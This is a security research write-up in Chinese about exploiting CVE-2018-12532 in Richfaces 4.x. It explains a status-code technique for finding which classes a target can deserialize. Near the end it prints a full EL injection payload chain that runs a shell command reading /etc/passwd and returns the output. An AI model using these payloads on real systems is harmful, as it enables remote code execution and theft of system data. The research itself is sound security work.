當EL注入遇上Java反序列化
一、前言
我在某次滲透測試中,發現目標使用了Java Server Faces(JSF)以及JBOSS Richfaces UI框架。當我使用CVE-2013-2165漏洞攻擊目標的Richfaces 4後(請參考我之前的一篇 ofollow,noindex" target="_blank">文章 ),我注意到Codewhitesec曾在一篇 文章 中提到Richfaces庫存在一個新的0day漏洞。 @mwulftange 發表了一篇研究文章,更加深入分析了具體細節,大家(特別是Java安全領域的新手,比如我)可以仔細閱讀。當時大多數內容對我而言都不是特別清晰,因此我決定深入分析,復現研究過程並將其轉化為可以實際利用的漏洞。
這個漏洞的編號為CVE-2018-12532,涉及到Expression Language(EL,表示式語言)注入漏洞以及Richfaces 4.x中的Java反序列化漏洞。常見的漏洞會在幾次請求後觸發,這個漏洞有所不同,需要更多的努力才能實現RCE。本文的目的是根據該漏洞在公開應用上的利用經驗,梳理出更為可靠的RCE漏洞利用鏈條。
簡而言之,我想在本文中討論如何解決漏洞利用過程中的主要障礙:反序列化過程中因為不相容庫所帶來的限制。文中還涉及到Java EL表示式及其限制條件,也提供了能可靠繞過這些限制條件的攻擊載荷。
二、背景知識
我推薦大家先看一下其他文章瞭解漏洞的整體情況。這裡概述一下,利用這個漏洞,攻擊者可以將任意EL表示式注入Java序列化物件中,而Richfaces會從使用者輸入資料中直接獲取這些資料,沒有使用任何保護措施。
Richfaces在安全方面的故事(參考CVE歷史紀錄)都源自於資源處理程式(handler)對請求的處理方式,具體過程如下所示:
-> 獲取處理過程相關的類,比如從URI中獲取X,並且從引數do獲取X的序列化狀態物件 -(1)-> 反序列化狀態物件 --(2)-> 建立X的一個例項並恢復其狀態 ---(3)-> 處理X併產生匹配的響應(影象、視訊、表格等)
歷史上對應的漏洞如下:
- CVE-2013-2165:任意反序列化問題,源自於階段(1)
- CVE-2015-0279:EL注入到序列化物件問題,源自於階段(3)
- CVE-2018-12532:最新的這個漏洞只是CVE-2015-0279補丁的再次繞過
- 本文涉及到的技術位於階段(2)中
由於CVE-2018-12532只是緩解措施的繞過,因此該漏洞的利用方法與CVE-2015-0279的利用方法大致相同。Takeshi Terada發現了CVE-2015-0279漏洞,而該漏洞是本文分析的漏洞的基礎。不幸的是,Takeshi Terada發給Jboss團隊的 漏洞報告 (這也是該漏洞的唯一參考資料)中並不涉及可靠的利用方法,也不包含足夠多的漏洞資訊。
EL注入漏洞存在於org.richfaces.resource.MediaOutputResource#encode中對MethodExpression.invoke()的呼叫過程。如果回顧前面提到的3個階段,那麼X對應的就是org.richfaces.resource.MediaOutputResource這個類,並且其狀態物件就是EL表示式本身。因此從理論上講,如果我們想利用這個漏洞,就需要將請求端點指向MediaOutputResource,並且構造一個合適的序列化物件,才能到達存在漏洞的程式碼行。
三、面臨的障礙
這裡有趣的是Richfaces會使用反序列化過程來生成表示式輸入,這與常見的流程有所不同,常見流程會以某個字串作為輸入,然後再將其轉換為表示式。有人擔心這個過程可能會給漏洞利用帶來一些阻礙,最開始的那名研究人員曾發表過如下看法:
如果沒有可以操控的、有效的do狀態物件的樣本,這個漏洞利用起來可能沒有大家想象中的那麼容易。這是因為如果我們想建立狀態物件,就需要使用相容的庫,否則反序列化過程可能會失敗。
研究人員提出反序列化的失敗可能歸咎於以下兩方面原因:
1、目標應用的classpath中不存在對應的類,這意味著某些本地環境中存在的某些類並不存在於目標應用中;
2、如果對應類存在,那麼另外一個問題就是不匹配的UID(這裡涉及到 Stream Unique Identifier ,SUID這個概念)。簡而言之,為了反序列化能成功執行,序列化流中的類以及當前classpath中的類必須在程式碼中使用一樣的serialVersionUID變數,必須具備相同的類簽名(方法名稱、型別、修飾符等),應用可能利用這些資訊來計算UID值。大家可參考其他資料瞭解具體計算過程。
這意味著實際環境利用過程中存在一些阻礙,比如存在漏洞的應用可能使用的是某些非常規的庫環境。如果我們之前嘗試過攻擊JSF Myfaces的反序列化過程,那麼我們此時面臨的障礙可能非常類似於在 ysoserial 中使用Myfaces1和Myfaces2這兩個gadget。這些gadget的作者的確嘗試過列出可用的某些EL組合來克服這個難點,但目前從我角度來看這並非是一種可靠的利用方式。
分析過程中我也審查過原始碼,因此我想到了一種方法能夠克服Richfaces 4的漏洞利用難題,讓這種漏洞利用技術的實用化程度大大增強。
四、精準定位
我們的目標是提取出構造MediaOutputResource狀態所需的準確類,同時獲取這些類在目標應用中的版本資訊。首先我想到的是使用包含所有可能的庫組合的狀態物件來無差別投遞載荷,再配合上一個簡單的EL表示式,然後祈禱我們的EL表示式被執行。這可能需要花費許多精力,並不實用,因為我們需要提前知道相關庫的所有可能的組合。即便如此,有時候EL執行中的某個問題或者其他外部因素(比如WAF)可能導致表示式沒有返回我們預期的結果,使我們採用的暴力破解方式功虧一簣。
我的解決方案是一次只嘗試每一種可能的類,而不是將所有類堆放在一個載荷中。如果我們可以判斷當前類是否可以被正確反序列化,那麼最終我們能夠找到漏洞利用所需的所有正確類。
因此如何才能判斷某個類是否可以被應用程式正確反序列化?其實Richfaces中有一個“功能”可以幫我們完成這個任務。
這種方法之所以能行得通,主要有兩個因素作為基礎。第一個因素在於Java的反序列化過程非常自然,會返回任何型別的物件,並不關心流中的資料是一個單獨的java.lang.Integer或者org.apache.el.MethodExpressionImpl物件陣列。
第二個因素來自於Richfaces 4.x序列化過程中的異常處理。第(1)階段(反序列化過程)所使用的程式碼如下所示(摘自org.richfaces.resource.ResourceUtils#decodeObjectData):
public static Object decodeObjectData(String encodedData) { byte[] objectArray = decodeBytesData(encodedData); try { ObjectInputStream in = new LookAheadObjectInputStream(new ByteArrayInputStream(objectArray)); return in.readObject(); } catch (StreamCorruptedException e) { RESOURCE_LOGGER.error(Messages.getMessage(Messages.STREAM_CORRUPTED_ERROR), e); } catch (IOException e) { RESOURCE_LOGGER.error(Messages.getMessage(Messages.DESERIALIZE_DATA_INPUT_ERROR), e); } catch (ClassNotFoundException e) { RESOURCE_LOGGER.error(Messages.getMessage(Messages.DATA_CLASS_NOT_FOUND_ERROR), e); } return null; }
如上所示,Richfaces會捕獲所有型別的反序列化異常,繼續執行流程,如果出現異常則返回null物件,而不會停止執行。此外,Richfaces中存在null狀態物件是非常正常的一件事,而在這種情況下,應用會生成一個帶有預設值的新物件,並且假設物件沒有快取狀態。
此外大家還可以參考如下程式碼,應用會在下一階段使用這些程式碼來還原物件狀態(摘抄自org.richfaces.util.Util#restoreResourceState):
public static void restoreResourceState(FacesContext context, Object resource, Object state) { if (state == null) { // transient resource hasn't provided any data return; } if (resource instanceof StateHolderResource) { StateHolderResource stateHolderResource = (StateHolderResource) resource; ByteArrayInputStream bais = new ByteArrayInputStream((byte[]) state); DataInputStream dis = new DataInputStream(bais); try { stateHolderResource.readState(context, dis); } catch (IOException e) { throw new FacesException(e.getMessage(), e); } finally { try { dis.close(); } catch (IOException e) { RESOURCE_LOGGER.debug(e.getMessage(), e); } } } else if (resource instanceof StateHolder) { StateHolder stateHolder = (StateHolder) resource; stateHolder.restoreState(context, state); } }
如果之前的反序列化過程失敗,狀態物件就會為null,因此函式會立刻返回(如上第2行程式碼),這使得資源物件會保持預設的欄位和值。隨後應用會返回一個200成功狀態碼以及資源資料。
另一方面 ,如果之前的反序列化操作成功完成(並且請求中的資源為StateHolderResource的一個例項,見上述程式碼第7行,我們可以操控這個例項),那麼應用做的第一件事就是將狀態物件轉換成一個位元組陣列(如上程式碼第10行)。如果狀態物件不是陣列,那麼該操作無法成功執行,此時就會丟擲一個異常,而Richfaces中沒有任何程式碼能夠捕獲該異常,這樣就會導致應用程式返回500內部錯誤。
程式碼中第7行的條件意味著資源物件必須為StateHolderResource的一個例項。因此,我們只需要將我們的請求端點指向一個靜態的資原始檔即可(比如css檔案或者類似skinning.ecss之類的JavaScript檔案)。
基於以上分析,為了構造這類暴力列舉所需的請求,我們需要將我們的請求指向一個靜態資源物件,嵌入序列化物件的do引數,其中只包含一個單獨的類,而這個類就是我們想驗證的是否位於應用classpath中的那個類。
- 如果webapp返回200成功狀態碼,那麼代表反序列化操作已失敗,並且應用中不包含該類,或者UUID值不匹配;
- 如果webapp返回500錯誤狀態碼,那麼代表反序列化操作已成功,並且應用的classpath中的確存在該類,UUID值也匹配。
注意這裡我們只需要得到狀態碼,不需要了解詳細的錯誤資訊,這樣這種方法在實際應用中就非常實用,因為在大多數情況下,我們應該能夠輕鬆區分200程式碼以及500錯誤程式碼。即便目標部署了類似BIG-IP ASM或者ModSecurity之類的WAF並且使用了非常嚴格的規則,這個攻擊邏輯依然試用,能讓我們得到所需的結果。
使用如上技術,我們可以逐步繞過各種限制,最終到達EL注入點。經過多次利用嘗試後,我收集到了JSF應用中最常使用的一些相關庫,其中部分列表如下(名稱來自於Maven公共庫):
- JSF實現:Mojarra/Myfaces(javax.faces-api / jsf-impl + jsf-api / myfaces-impl + myfaces-api);
- EL介面(javax.el-api / tomcat-jasper-el);
- EL實現:Jasper/Jboss (tomcat-jasper-el / jasper-el / jboss-el)
掌握目標應用的環境資訊後,我們就可以構造序列化載荷。使用Mojarra JSF的典型應用中的某個物件對映如下所示:
Ljava.lang.Object[5] [0] = (java.lang.Boolean) false [3] = (javax.faces.component.StateHolderSaver) savedState = (org.apache.el.MethodExpressionImpl) expr = (java.lang.String) "foo.toString" varMapper = (org.apache.el.lang.VariableMapperImpl) vars = (Ljava.util.HashMap) {(java.lang.String)"foo": (java.lang.String)[EL_TO_INJECT]}
五、限制條件
在某些邊緣案例中,我發現Richface的預設DEFLATE壓縮實現程式碼中並沒有為大型載荷分配足夠大的緩衝區,可能會縮短載荷。因此當需要製作較長的EL表示式時,我們需要將壓縮型別設定為 Deflater.NO_COMPRESSION 。這樣就可以讓服務端的解壓縮過程按原始格式輸出執行結果,不會干擾二進位制程式。
我們還需要注意的是如何利用EL表示式達到RCE目標。目前利用EL表示式獲取RCE許可權最直接的方式就是利用 Java Script Engine (Java指令碼引擎)。我所發現的利用EL注入漏洞的兩個載荷(參考這兩篇文章[ 1 ]、[ 2 ])都用到了這個引擎。最常用的引擎是JRE 8中的Nashorn引擎以及JRE 7(及較低版本JRE)中的Rhino引擎。語法非常簡單:先例項化一個ScriptEngineManager,獲取引擎然後執行程式碼,如下所示:
#{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("...")}
不幸的是,這種方法並非始終行之有效。比如我有一次碰到了某個特殊目標,他們使用了自定義的OpenJDK,並沒有正確實現ScriptEngine。此外,即使應用程式的確部署了引擎,但以上表達式有時候仍會失效。注意上面EL表示式中最後一個方法呼叫的是eval(),而這個方法在ScriptEngine中有6個過載版本。根據下面的條件1,如果Class.getMethods()中的第一個eval方法(非eval(String))執行失敗,那麼表示式就無法成功執行。
因此,我決定不去依賴Java的ScriptEngine,而去研發原生JRE環境可以使用的另一個EL載荷。我們的目標是執行shell命令,然後將輸出結果傳遞給響應資料,形成完整的RCE利用鏈。
通過在本地測試環境中不斷試驗及調錯,我發現EL中存在幾條重要的限制條件:
- [條件1] EL無法過載方法。應用總是會呼叫Class.getMethods()陣列中名字相匹配的第一個方法;
- [條件2] Jasper的EL實現中(tomcat-jasper-el,7.0.53到8.0.25版本),我們無法使用Reflection來呼叫無引數的方法。這主要是因為其內部EL實現中對varargs的處理存在一些煩人的 bug (感謝 @orange 提供的幫助);
- [條件3] 只有Jasper的EL實現支援將引數列表隱式轉化為varargs。在其他實現中(比如jboss-el),varargs需要一個數組引數,所以我們必須實現構造一個數組。
為了繞過條件3,我們需要找到一種方法來構造一個數組及其成員,並且不受到條件2的限制。基於這一點,我們可以通過Class<java.util.ArrayList>.newInstance()來構造一個List,然後依次呼叫.add(E e)、.toArray()最終得到我們所需的陣列。最終載荷如下所示,我添加了一些註釋使程式碼閱讀起來更加清晰。
// Execute commands through ProcessBuilder(List<String>).start(). Runtime.exec() won't work because Runtime.getRuntime() violates condition 2 #{session.setAttribute("a","".getClass().forName("java.util.ArrayList").newInstance())} #{session.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} #{session.getAttribute("c").add("sh")} #{session.getAttribute("c").add("-c")} #{session.getAttribute("c").add("cat /etc/passwd")} #{session.getAttribute("a").add(session.getAttribute("c"))} #{session.setAttribute("p","".getClass().forName("java.lang.ProcessBuilder").declaredConstructors[0].newInstance(session.getAttribute("a").toArray()).start())} #{session.getAttribute("a").set(0,session.getAttribute("p").inputStream)} // Read the output buffer through java.util.Scanner#useDelimiter(java.lang.String) #{session.setAttribute("s","".getClass().forName("java.util.Scanner").declaredConstructors[3].newInstance(session.getAttribute("a").toArray()))} #{session.getAttribute("a").set(0,"\A")} #{session.setAttribute("d","".getClass().forName("java.util.Scanner").methods[1].invoke(session.getAttribute("s"),session.getAttribute("a").toArray()).next())} // Write to response through java.io.PrintWriter#write(java.lang.String) #{session.getAttribute("a").set(0,facesContext.externalContext.response.outputStream)} #{session.setAttribute("w","".getClass().forName("java.io.PrintWriter").constructors[6].newInstance(session.getAttribute("a").toArray()))} #{session.getAttribute("a").set(0,session.getAttribute("d"))} #{"".getClass().forName("java.io.PrintWriter").methods[25].invoke(session.getAttribute("w"),session.getAttribute("a").toArray())} #{session.getAttribute("w").flush()} #{session.getAttribute("w").close()}
這裡需要對陣列中的物件位置做一些微調,我們可以通過EL來手動提取:
#{facesContext.externalContext.response.setContentType("".getClass().forName("java.util.Scanner").constructors[3].toString())}
六、總結
成功利用漏洞後,我總共從幾個廠商那獲取了大約7,000美元,其中最大的一個廠商我無法透露給大家,此外還包括Nuxeo、LogMeIn以及大家熟知的其他目標。
這裡可以透露一些資訊,美國境內某些大型金融組織會用到存在漏洞的某個應用,我花了幾天的時間才弄清楚應用的邏輯,最終成功利用了漏洞,這種感覺非常棒。然而,我不得不同意不透露這些組織的名稱。
當我們在執行安全方面任務時(比如滲透測試、程式碼審查或者研究等),總有許多新鮮知識需要學習。我希望大家能與我一樣享受這個快樂的過程,也能從中學到一些知識。